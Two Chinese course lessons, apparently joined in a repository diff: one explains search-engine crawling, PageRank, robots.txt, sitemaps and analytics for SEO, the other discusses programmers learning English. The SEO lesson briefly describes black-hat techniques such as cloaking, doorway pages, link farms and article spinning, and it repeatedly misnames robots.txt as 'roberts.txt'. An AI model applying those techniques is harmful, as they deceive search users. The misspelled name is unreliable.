搜索引擎会有若干个“爬虫”客户端定期地访问你的网站,如果数据有了变更,它们会将可访问的网页下载下来。搜索引擎发现网页的方式,和人是一样的,就是通过超链接。因此理论上,如果你建立了一个网站,但是你没有主动“告知”搜索引擎,也没有任何网站页面有超链接指向它,那么它是无法被搜索引擎的爬虫发现的。
**2. 建立索引Indexing**
这一步其实就是将前面爬取的结果,经过解析和处理以后,以一种有利于搜索的方式归类存放起来。在 [[第 26 讲]](https://time.geekbang.org/column/article/162965) 我们介绍了搜索引擎的倒排索引机制。
**3. 返回结果Serving Results**
拆解用户的搜索条件根据多种因素来决定返回哪些网页或其它资源给用户也包括确定它们的展示顺序Ranking
这三个大致的步骤协同合作并提供了如今互联网搜索引擎的服务,当然,实际过程会复杂得多。比方说,上述的第 2 步就要包含解析、分词、去重、去噪等等许多步的操作。
另外值得一提的是搜索的数据现在确实都是增量更新的可早些年其实并不是如此。Google 在 2003 年以前,爬虫完成不同的数据爬行需要不同的时间,其中最慢的需要几个月,之后的索引需要一周,数据分发也需要一周,在这以后才能被搜索到,因此人们往往也只能搜索到很早以前的数据(当然,那时候互联网的数据没那么大,变更也没那么频繁)。在一次重要更新 [Fritz](https://searchengineland.com/major-google-updates-documented-89031) 以后,爬虫才每天都爬网页的数据,搜索数据也才做到了日更新。
### PageRank
纵观上面所述的三个步骤,从功能实现的流程和工程上面说,它们各自看起来并没有太大的技术门槛,但是搜索质量却天差地别。其中重要的一项就是怎样对返回给用户的网页进行排名,对于 Google 搜索,这一系列算法中最核心的那个,就叫做 PageRank。
在 PageRank 以前,排序大多依靠对搜索关键字和目标页的匹配度来进行,这种排序方式弊端非常明显,尤其对于善于堆砌关键字“舞弊”的页面,很容易就跳到了搜索结果的首页。但是这样的页面对于用户来说,价值非常小。
PageRank 算法的本质,就是利用网页之间的关联关系来确定网页的影响力权重。而这个关联关系,就是网页之间的超链接,换言之,如果一个页面被各种其它页面引用,特别是被“重要”的网站和页面引用,这就说明这个页面的权重更高。
在实际搜索的时候,**需要做到两个因素的平衡:一个是 Reputation也就是上面说的这个影响力它并不会因为用户单次搜索的关键字不同而改变还有一个是 Proximity也就是接近程度这是根据用户搜索的关键字的匹配程度来确定返回网页的。**
如果只考虑 Reputation那么所有用户搜到的东西都是一样的这就不是一个搜索引擎了而是一个网页的有序列表如果只考虑 Proximity那么用户搜到的东西就是杂乱无章的匹配页面而不是像现在这样将“重要”的页面显示在前面。无论是百度还是 Bing**不同搜索服务的算法不同,但都是立足于做到这两个基本因素的制衡。**
## SEO 相关技术
下面我们再来从工程实现的角度一窥 SEO 技术。技术是要为业务目的服务的,我们最大的目的,是为了让网站的内容更真实、更合理地暴露在搜索引擎的搜索结果中。
### 1. 白帽和黑帽
当我们明确了上述的目的,遵循搜索引擎规则,通过正当和高效的技术途径来实现 SEO 的效果,这样的方法叫做**白帽White Hat法**。**相应的如果是通过作弊、欺骗这样的手段就叫做黑帽Black Hat法**。如果你了解过网络安全中的白帽和黑帽,那么这里的含义其实是一致的。
搜索引擎在评估网站前文所述的影响力的时候,有许许多多不同的“**Ranking Signal**”,它指的就是会影响返回的网页排序的“信号”,它们共同决定了一个页面的影响力,对于 Google 搜索来说 **前面我们提到的 PageRank只是其中之一**。这里面大多数的信号,都可以应用相应的 SEO 规则来进行优化,我随便举几个例子:
- 网站的正常运行时间。比方说,如果一个站点,在爬虫爬取的时候总是遭遇 4xx、5xx 这样的错误,显然对影响力是一个负面的加权。
- 网站的年龄,网页内容的新鲜程度,好的原创内容总是最好的优化方式。
- 网站采用 HTTPS 还是 HTTP显然 HTTPS 要更优。
- HTML 代码的质量,是否存在错误。
- 网页在站点访问的深度。
当然,黑帽法我们也来简单了解几个。
**关键字堆砌**:说白了就是放置大量的甚至和网页内容无关的关键字,比方说在页面上放置一些无关的关键字,并将它们的样式设置为透明,这样用户看不见,但是搜索引擎就以为这个页面和这些额外的关键字有关,在一些本该无关的搜索中会增加曝光度。**这其实就是给搜索引擎和用户看不同的页面**,搜索引擎看的页面堆砌了大量的无关关键字,而用户看到的才是正常的网页,这种方法被称为 Cloaking。
还有一种方法叫做 Doorway Pages这种技术则是创建一个堆砌关键字的临时页面用户访问的时候则自动转向正常的网页或是主页。你可以看到这些黑帽技术都是为了糊弄搜索引擎而添加了某些本不该出现在页面里的关键字。
**链接农场**Link Farm将网站链接放到很多本不该进行外链的其它网站页面上比如花钱买一些不相关的内容强行建立外链。不知道你有没有听说过“[Google 轰炸](https://zh.wikipedia.org/wiki/Google%E8%BD%9F%E7%82%B8)”它本质上就属于这种方法。当年人们搜索“more evil than Satan”比撒但还邪恶的时候结果的第一条居然出现了微软的主页。
**Article Spinning**:这种技术将一些其它网站已有的内容拷贝过来,做一些用来欺骗搜索引擎的修改,让搜索引擎以为是一份新的内容。比如,替换一些特定的词语、句子,添加一些毫无意义的用户不可见的内容,等等。
### 2. 站内优化和站外优化
SEO 的优化方式,可以大致分为站内的和站外的。站内优化,其实指的就是在自己管理的网站内部做优化工作来实现 SEO。比如我们之前反复提到的关键字现在我们不妨动手来体会一下。
在浏览器地址栏中输入 [https://time.geekbang.org](https://time.geekbang.org),打开极客时间的页面,右键点击页面空白处并查看网页源代码,你会看到这样的 meta 标签:
```
&lt;meta name=keywords content=极客时间,IT,职业教育,知识付费,二叉树,极客Live,极客搜索,互联网,前端开发,后端开发,编程语言,人工智能,区块链,技术大会,技术管理,产品,研发,测试,运维,数据库,架构,微服务,实战,技术专家,Java,iOS,Android,Linux,Go id=metakeywords&gt;
```
这就是极客时间网站的关键词,这些关键词会让搜索引擎用户在搜索的时候准确地找到这个网站。除了 keywords 的 meta 标签,还有一些其它起到帮助搜索引擎更准确地认识网站的 HTML 标签,比如 description 的 meta 标签title 标签等等。对于 HTML 的正文,你也许还记得我们在 [[第 17 讲]](https://time.geekbang.org/column/article/151464) 介绍的 HTML 语义化标签,它们都可以帮助搜索引擎更好地理解内容。
正如其名,站外优化则和站内优化相反,优化工作是在目标站之外开展的,比如众所周知的“友情链接”,就是一种提供外链的站外优化方式。
### 3. roberts.txt
“roberts.txt”是网站根目录下直接能够访问到的文本文件它是一个对于网络爬虫的规约告诉它这个网站下哪些内容你是可以爬取的哪些内容你是不能爬的。值得注意的是**roberts.txt 不是标准,也不是规范,而是一种“约定俗成”**,几乎所有的搜索引擎都会遵守它。
这就好像你在你家门口贴了张条,哪些过路人可以敲你家的门,而哪些人不可以,那么路过的人大多会按这张纸条上的要求去做,但如果你不受欢迎而硬要去敲门(访问),那么也没有任何人可以阻止你,但至于主人开不开门(是否响应请求),或者给不给好脸色(是否返回正常结果),就是另一回事了。
现在,你可以打开浏览器,在浏览器中输入 [https://www.google.com/robots.txt](https://www.google.com/robots.txt) 来访问 Google 的 roberts.txt 文件。你将看到如下信息:
```
User-agent: *
Disallow: /search
Allow: /search/about
Allow: /search/static
...
Disallow: /imgres
...
(省略大量 Disallow 和 Allow 的配置)
User-agent: Twitterbot
Allow: /imgres
User-agent: facebookexternalhit
Allow: /imgres
Sitemap: https://www.google.com/sitemap.xml
```
这是说对于默认的爬虫User-agent 为 */search 和 /imgres 是不允许爬取的,但是 /search/about 和 /search/static 是可以爬取的,请注意 Allow 指令比 Disallow 有更高的优先级;对于 Twitter 和 Facebook 的爬虫,却是允许访问 /imgres 的。
你可以看到,这样的配置是运行配置默认值,然后通过特殊值来覆写的(不知这能否让你回想起 [[第 28 讲]](https://time.geekbang.org/column/article/165225) 中介绍的类似的“默认值 + 特殊值覆写”的配置方式)。最后一行是网站地图 sitemap.xml 的位置,我们下面会讲。
另外,如果你想让搜索引擎友好一点,就不要那么频繁地访问你的网站,你可以使用 Crawl-delay 参数,用来告知连续的请求之间至少间隔多少秒,比如:
```
Crawl-delay: 5
```
同样的,你可以看看百度的 roberts.txt访问 [https://www.baidu.com/robots.txt](https://www.baidu.com/robots.txt),你会看到百度比较“特立独行”,它不允许 Google、有道、搜狗等多家搜索引擎的数据爬取。
除了全站的搜索引擎爬取设定以外,能够按页来设置吗?可以,这时候你需要使用一个名为 robots 的 meta 标签,这个标签在 HTML 的 head 内,用来告知该页的爬取策略。
```
&lt;meta name=&quot;robots&quot; content=&quot;noindex,nofollow&quot; /&gt;
```
除页面以外HTML 的 a 标签(链接)也能够告诉搜索引擎不要进一步追踪爬取,方法就是使用 nofollow如下
```
&lt;a href=&quot;http://www.another-website.com/&quot; rel=&quot;nofollow&quot;&gt;另一个站点&lt;/a&gt;
```
因此,是否允许爬取的建议,是可以在网站、页面和链接这三个级别分别设置的。
### 4. 网站地图
网站地图就像前面提到的 roberts.txt 一样,是另一个和搜索引擎对话的途径。网站可能非常大,爬取一遍耗时长,但**网站地图则可以清晰直接地告诉搜索引擎网站内“重要”的页面都有哪些(无论是否被链接指向),它们的更新习惯,包括最近一次是什么时候更新的,更新频率是多少,以及对于整个网站来说,不同页面的重要性比重是多少。**
对于使用 SPA我们曾在 [[第 17 讲]](https://time.geekbang.org/column/article/151464) 介绍过 SPA你可以回看的网站应用来说由于缺乏页面跳转搜索引擎无法正确理解页面的关系、更新、指向等等网站地图就显得更为重要了。
这次我来拿 B 站举个例子,访问 [https://www.bilibili.com/sitemap.xml](https://www.bilibili.com/sitemap.xml),你会看到如下的内容:
```
&lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;
&lt;sitemap&gt;
&lt;loc&gt;http://www.bilibili.com/sitemap/v.xml&lt;/loc&gt;
&lt;lastmod&gt;2019-10-26T18:25:05.328Z&lt;/lastmod&gt;
&lt;/sitemap&gt;
...
&lt;/sitemapindex&gt;
```
它是由多个子 sitemap 配置文件组成的,随便打开一个,比如 [http://www.bilibili.com/sitemap/v.xml](http://www.bilibili.com/sitemap/v.xml)
```
&lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;
&lt;url&gt;
&lt;loc&gt;http://www.bilibili.com/v/douga/&lt;/loc&gt;
&lt;lastmod&gt;2019-10-26T18:25:17.629Z&lt;/lastmod&gt;
&lt;changefreq&gt;daily&lt;/changefreq&gt;
&lt;/url&gt;
...
&lt;/urlset&gt;
```
可以说一目了然,页面位置、上次修改时间,以及修改频率。这可以让搜索引擎有目的和有条件地扫描和爬取页面数据。
对于网站地图,除了被动等待爬虫的抓取,搜索引擎服务往往还提供另一种方式来报告网站地图的变更,那就是**允许网站管理员主动去提交变更信息,这种方式和爬虫来爬取比较起来,类似于我们从第一章就开始讲的 pull 和 push 的区别**,这种方式对于网站管理员来说更麻烦,但是显然可以更为及时地让搜索引擎获知并收录最新数据。
这种方式从实现上说,就是由搜索引擎服务的提供商开放了一个 Web API网站在内容变更的时候调用去通知搜索引擎关于 Web API 的设计,你可以回看 [[第05 讲]](https://time.geekbang.org/column/article/137921))。
### 5. 统计分析
在进行 SEO 的改动调整之后,我们需要一些方式来跟踪和评估效果。像 Google Analytics 和百度统计,就提供了这样的功能。
原理上很简单,以 [Google Analytics](https://analytics.google.com/analytics/web/) 为例,它会为你的网站生成一段 JavaScript 代码,你就可以把它嵌入每一个你希望得到跟踪的网页。这样,在页面访问时,这段代码会收集相关信息,并向页面嵌入一个大小为 1 像素的 gif 图片,而这个图片的 URL 带有当前浏览器、操作系统等等客户端的不同类型的信息。这样Google Analytics 就可以捕获这些信息来完成数据统计了。
下面给出了我在 Mac 上访问极客时间的页面时,网页向 Google Analytics 服务器发送的统计信息 URL别看这个 URL 没有 gif 字样,但这个请求返回的就是一个 gif 图片,这一点可以从响应的 Content-Type 中看出来):
```
https://www.google-analytics.com/collect?v=1&amp;_v=j79&amp;a=775923213&amp;t=pageview&amp;_s=1&amp;dl=https%3A%2F%2Ftime.geekbang.org%2F&amp;ul=en-us&amp;de=UTF-8&amp;dt=%E6%9E%81%E5%AE%A2%E6%97%B6%E9%97%B4&amp;sd=24-bit&amp;sr=1440x900&amp;vp=575x729&amp;je=0&amp;_u=AACAAEAB~&amp;jid=&amp;gjid=&amp;cid=248548954.1568164577&amp;tid=UA-103082599-6&amp;_gid=817127427.1571674409&amp;z=266312543
```
通过收集这样的信息,可以获得很多网站用户的情况统计,比如访问量、页面停留时间、地区分布、电脑访问或手机访问的比例等等,并能观察这样的统计信息基于时间的走势。
## 总结思考
今天我们学习了一些互联网搜索引擎的工作机制,并结合例子从工程的角度了解了几个常见的 SEO 相关技术。今天我们就不放具体的思考题了,但 SEO 本身是一个可以挖掘很深的领域,我在扩展阅读中放置了一些资料,供你延伸。
好,到今天为止,“寻找最佳实践”这一章就接近尾声了,你是否有所收获、有所体会,欢迎你在留言区分享。
## 扩展阅读
- 文中介绍了几个典型的 SEO 黑帽法,作为视野的拓展,你可以阅读[这篇文章](https://en.wikipedia.org/wiki/Spamdexing)了解更多的黑帽法。特别地,你也可以参阅这一[词条](https://zh.wikipedia.org/wiki/Google%E8%BD%9F%E7%82%B8#%E5%B7%B2%E7%B6%93%E5%BD%A2%E6%88%90%E7%9A%84Google%E8%BD%B0%E7%82%B8)了解更多历史上的 “Google 轰炸”事件。
- 如果对 Google Analytics 感兴趣的话,那么官方有一些很好的[学习材料](https://analytics.google.com/analytics/academy/);如果用的是百度统计,那么你也可以浏览一下官方的[文档](https://tongji.baidu.com/web/help/article?id=170&amp;type=0)。
- 对于 PageRank 算法,互联网上其实有很多学习材料,比如维基百科的[词条](https://zh.wikipedia.org/wiki/PageRank),再比如科普作家卢昌海的文章——[谷歌背后的数学](https://www.changhai.org/articles/technology/misc/google_math.php)。这个算法的来源,是 [The Anatomy of a Large-Scale Hypertextual Web Search Engine](http://snap.stanford.edu/class/cs224w-readings/Brin98Anatomy.pdf) 这篇 Sergey Brin 和 Lawrence Page 最早写的关于 Google 搜索引擎原理的论文,当然,它并非这一讲的学习周期内要求的阅读材料,而仅供感兴趣且有余力的你阅读。
- [单页应用Single Page Application的搜索引擎优化](https://ziyuan.baidu.com/college/articleinfo?id=294),专栏第三章已经介绍了 SPA 的优势,但是 SPA 网站并不是一个擅长将喜怒哀乐表现出来的孩子,他对擅长察言观色的搜索引擎颇不友好,因此要对 SPA 网站进行有效的 SEO是需要一些特殊技巧的推荐阅读。

View File

@@ -0,0 +1,106 @@
<audio id="audio" title="33 | 特别放送:聊一聊程序员学英语" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/8e/dd/8eb0a304f8d5fee2df73efcda736fcdd.mp3"></audio>
你好,我是四火。
又到了相对轻松的特别放送时间,这一次,我想聊一聊程序员对于英语的学习。我在专栏最开始的 [[学习路径]](https://time.geekbang.org/column/article/134216) 中就提到了工程师的一些“基础”能力,比如数据结构和算法,当然也包括英语。当时我说,**对于进阶的工程师来说,英文能力是突破天花板的一个必选项**,而且英文是所有进阶的软件工程师应当强化的能力,对全栈工程师来说更甚。但是我在当时并没有展开论述,为什么在中文技术材料如此丰富的今天,在工作环境是以中文为主的情况下,英语的学习依然那么重要。
## 为什么英语是必选项?
我记得在 2017 年的时候,就有一股讨论高考是不是应该取消英语的风潮,有不少反对者都说,英语学习了也用不上,可是直到现在,语文、数学和英语,这三门依然是高考中的公共科目。
不知道你还记不记得高中化学课学的,使用氯酸钾在二氧化锰的催化下制氧气,软件技术的职业上升进程就像是氯酸钾分解的过程,而英语就像是软件技术进阶的催化剂,它自己单独未必能给你带来多大的价值,但是掌握了它的软件工程师,视野是完全不一样的。在这里我不想谈论英语学习是否具备一般必要性,但是对于程序员这个特殊的职业来说,我想来谈一谈它重要的原因。
### 信息获取的最有力工具
其实最重要的原因说起来很简单,它并非是什么需要和世界人民沟通交流这样冠冕堂皇、牵强附会的理由,而是在于程序员这个职业的特殊性。
程序员需要长期地学习,而大多数的学习材料,都是使用英文撰写的。特别是对于基于 Web 的全栈工程师来说更是如此,全栈技术迭代很快,新的技术资料一般都是英文的,英文能力,尤其是英文的阅读能力会很大程度地影响知识获取的速度。
我随便举个例子。
本专栏在介绍缓存的 LRU 算法的时候描述了 LRU 的缺陷而有一些算法设计出来的目的就是为了解决这个缺陷2Q 算法就是其中之一。
如果你使用 Google 搜索“2Q 算法”,你会看到类似这样的结果:
<img src="https://static001.geekbang.org/resource/image/0d/cc/0da2e7723662c6404f0e494fd20ea8cc.png" alt="">
基本上结果的相关性不错,但是这 4 条最靠上的结果都无一例外地是一些个人学习和分享的博客,对于 2Q 算法的笔记和理解。拿百度搜索,结果也类似,其中 CSDN 的网站权重要高一些,并且结果页的右边多了一个毫无关联性的搜索热点消息栏。
但是如果使用英文搜索“2Q algorithm”结果页如下
<img src="https://static001.geekbang.org/resource/image/01/57/016cd82a8023dcf10ff26a06fb36e857.png" alt="">
也一样看看这 4 条最靠上的结果,相关性依然保持的同时,相对有更有价值的内容:
- 第一条,是 2Q 算法提出的论文,这显然是对于该算法最权威的材料了,并且标题下面列出了引用数 831以及论文相关文章的链接
- 第 2 条是针对该算法的一个介绍和改进;
- 第 3 条是 2Q 算法的讨论;
- 而第 4 条则是维基百科关于缓存替换策略的页面2Q 算法就是被设计用作缓存替换算法的,这些算法被放在一起横向比较。
如果你进一步点击查看维基百科的这个缓存替换策略的页面,你依然可以发现,[英文页面](https://en.wikipedia.org/wiki/Cache_replacement_policies)要远比[中文页面](https://zh.wikipedia.org/wiki/%E5%BF%AB%E5%8F%96%E6%96%87%E4%BB%B6%E7%BD%AE%E6%8F%9B%E6%A9%9F%E5%88%B6)内容丰富得多:
<img src="https://static001.geekbang.org/resource/image/1f/89/1fc3805b86eb3701a83d07edfb952889.png" alt="">
你看,英文页面中有这样一系列缓存替换算法的比较,每个算法都有具体说明;但是中文页呢,什么都没有,只有一个简单的介绍。
<img src="https://static001.geekbang.org/resource/image/a1/86/a1d514c8a0adaca8f61615fc91a0d386.png" alt="">
需要强调的是,我不希望被误解,我的意思不是说不能使用中文搜索技术材料,通过这个实际的例子,我是想向你说明,在计算机科学领域,大多我们查询技术资料的时候,使用英文确确实实能带来多得多的好处。
在这个领域里,**学会英文就多了一门获取信息的最佳工具,并且这个工具往往还远远不是别的工具能替代的。**在之前 [[第 06 讲]](https://time.geekbang.org/column/article/139370) 的特别放送中,我曾经介绍过,如今互联网十大企业,中国占了 4 家,美国占了 6 家,因此如果能够掌握好中文和英文这两门语言,程序员在信息获取上的优势就显而易见了。
随着我们的生活逐渐被微信朋友圈、微博这些社交媒体所“统治”,我们更要注意技术材料的权威性,以避免那些错误的、走样的信息,因此我们需要使用英语去寻找自己需要的资料,并且去官方、可信的渠道去寻找资料。特别是当你可以阅读两份材料,一份英文的原版材料,一份经过了翻译,你会觉得哪一份更可靠呢?
### 给自己更多的可能性
每过一阵子,互联网就会刮起一阵“无用论”的旋风,除了前面提到的“英语无用论”,还有曾经的“数学无用论”,提出这个说辞的人理由居然是因为“生活中用到的数学”只是买菜那点而已,生活中不需要微积分,不需要线性代数。
有人在回复中讽刺持有这些观点的人“只知道买菜”而已,其实,我倒认为这种观点有它“话糙理不糙”的部分,观点朴素,却是有一定道理的。事实上,倘若你回头看看你所学习的知识和掌握的技能,无论软硬,在你实际的工作中,能使用到的总归只有其中的一小部分。
然而,话要说回来,**我们对大多数技能的学习,是为了给自己的未来带来更大可能性的。**就像软件领域的 Web 全栈技能一样,英语是一个更加广泛的带来更多可能性的技能。你可以参与到更大影响力的项目中去,你对雇主的选择会更加广阔,你可以在世界更多的地方游历。事实上,职业生涯经常会发生“无心插柳柳成荫”的飞跃,我们所做的学习和积累,就是让自己准备好,在机会到来的时候尽量不要失去。
## 有哪些学习英语的策略?
顺理成章地,从“为什么”到“怎么样”,接下来就该说说程序员学习英语的策略了。这些策略是从我的角度来描述的,坦诚地讲,我并不聪明,学习英语的过程也颇为坎坷,高考的时候英语是拖后腿的科目。
我知道有些朋友英文基础很好,或者英文的学习能力很强,那么我估计就不需要我这些所谓的“经验”了,但是如果你和曾经的我一样,花过不少时间,可英语的学习效果还不好,那么你就可以听听我的介绍了。
首先我想说的是,程序员总是希望英语学习的投资能够尽量得到高回报,因此一般情况下,**我并不赞同所谓的“听说读写”均衡发展的观点。你能做到均衡发展当然好,但是事实往往是残酷的**,如果你还在学校里,那么还好,可是工作以后就不再如此了。也许生活每天都很忙碌,每天能抽出的时间并不多,更不可能像鸡汤文里说的那样,嘴里含一块小石头去海边练习发音。
### 听和读重于说和写
英文的“说”和“写”往往并不容易练习,除了立志去英文环境发展的程序员以外,我建议你可以着重关注于“听”和“读”。众所周知语言的学习是需要长期强化的,有了如今便捷的互联网,英文文章、英文电影、英文新闻,只要自己愿意,我认为**“听”和“读”的不断刺激强化已经不成问题了,它们属于信息接收,但是“说”和“写”属于信息表达,后者更需要环境的浸染**,如果仅仅靠一周个把小时的英语角,发几封英文邮件,或者是只进行缺乏互动的练习,进步是很慢的。
就我自己的经历而言,我在大学里面花费了大量的时间去学习英语的说和写,但其实效果并不好。那时候掌握的是语法和一点词汇基础,可以在思考以后说出、写出“正确”的句子,可以用来考试,但没法使用。
这里有两个原因:一个是思维还是中文思维,说的时候需要思考,在大脑中还需要进行从中文到英文的翻译过程;另一个是表达的方式并不是实际的、常用的,而是自己生硬的翻译。因此英语实际应用的提高,基本上都是在工作以后,因为有了实际的需要,以及英语环境,慢慢就给拧到英文思维了,并且逐渐掌握了表达的惯用法和一些技巧,这些都和读书时候学得不一样。
### 听:多样的口音
我曾经有一个误解,以为英语的学习就要尽量去找那些 VOA、BBC 这样的纯正发音的材料,但实际上根本不用这样。无论是工作还是生活,我们接触的英文都是杂七杂八的,**各种各样的发音,各种各样的表达法。**通过对于不同口音听力的训练,能够让自己对于英语听和理解的能力得到提升。这就有点像打乒乓球,要和各种各样风格的人过招,有直板有横板,有攻有守,自己的功力才能提升。
### 说:关注内容,而不是发音和语法
上面一条是关于“听”的,这一条则是关于“说”。对于英语能力较初级的朋友来说,发音也好,语法也好,总是有很多的问题,而即便经过了再多的练习,口音和词句的用法往往还是会和“地道”有所区别。
但是,这又有什么关系呢?平时的沟通,还是要把关注点放在内容上面。**无论语法有哪些错误,发音有哪些错误,实际上它们的重要性都远不如把“内容”表达出来高。**练习使用清晰、简洁的逻辑把问题描述清楚,真正达到沟通和交流的目的,日常工作生活中,不会有多少人在意你的发音。
### 读:从技术材料的检索和阅读开始
英语学习和技术学习,我们当然希望一举两得。我知道在开始的时候,这会比较困难,毕竟谁都有自己的舒适区。事实上,在写这个专栏的过程中,我本来找的扩展阅读材料绝大多数都是英文的,后来在编辑的建议下,才尽可能地把其中我能找得到类似质量和主题的材料换成中文的。
技术材料的阅读可以根据自己的情况循序渐进,但是在开始的时候,你要有个预期,就是阅读英文材料的速度肯定是要慢于中文材料的。作为程序员,我们也可以把自己的英文阅读目标范畴基本定在技术文档上面,从我的经历来看,技术上从中文逐渐适应到英文,还是要比生活上的切换简单得多得多。
### 写:学习那些文档和邮件中的惯用法
仅仅是靠自己写,没有反馈的话,你不会知道这样写对不对、好不好。很多常见的用法课本里不会写,老师未必教,你可能很明确自己的表达从语法上看是不是正确,但是大家却未必这样使用。因此阅读那些英语母语的程序员写的的技术文档,就是一个很好的积累惯用法的方法。而英文邮件,则是另一个很好的例子,阅读它们,可以积累一些书面上怎么表达的例子,怎么提问,怎么认可,怎么否定,怎么请求帮助,等等。
### 寻找乐趣
这是最后一点,也是最重要的一点。没有了乐趣,所有的学习都是事倍功半。最理想的状况,应该是乐于做一件事,做完了,还在不知不觉中获得了自己想要的东西。我知道有很多程序员朋友就是因为喜欢编程才逐渐走上了程序员这条路,郭德纲说过:“如果你的工作也是你的爱好,那是老天爷疼你。”英语学习也是如此,如果你在努力的过程中能得到更多的乐趣,那就是绝妙。
拿我自己来说,有两个时期我自己明显感觉英文进步比较大。一个是在读高中的时候,我是《最终幻想》的游戏迷,《最终幻想 VIII》巨长的对白文字我当时硬是凭借一个文曲星把剧情啃下来了另一个是工作以后美剧《Friends》断断续续看了好几遍从一开始看中文字幕到后来看英文字幕以及再后来大致可以脱离字幕……这其中兴趣的功劳是第一位的。
好,今天的特别放送就聊到这里。这是我的体会和分享,现在我把话筒给你,不如你也说说你的故事?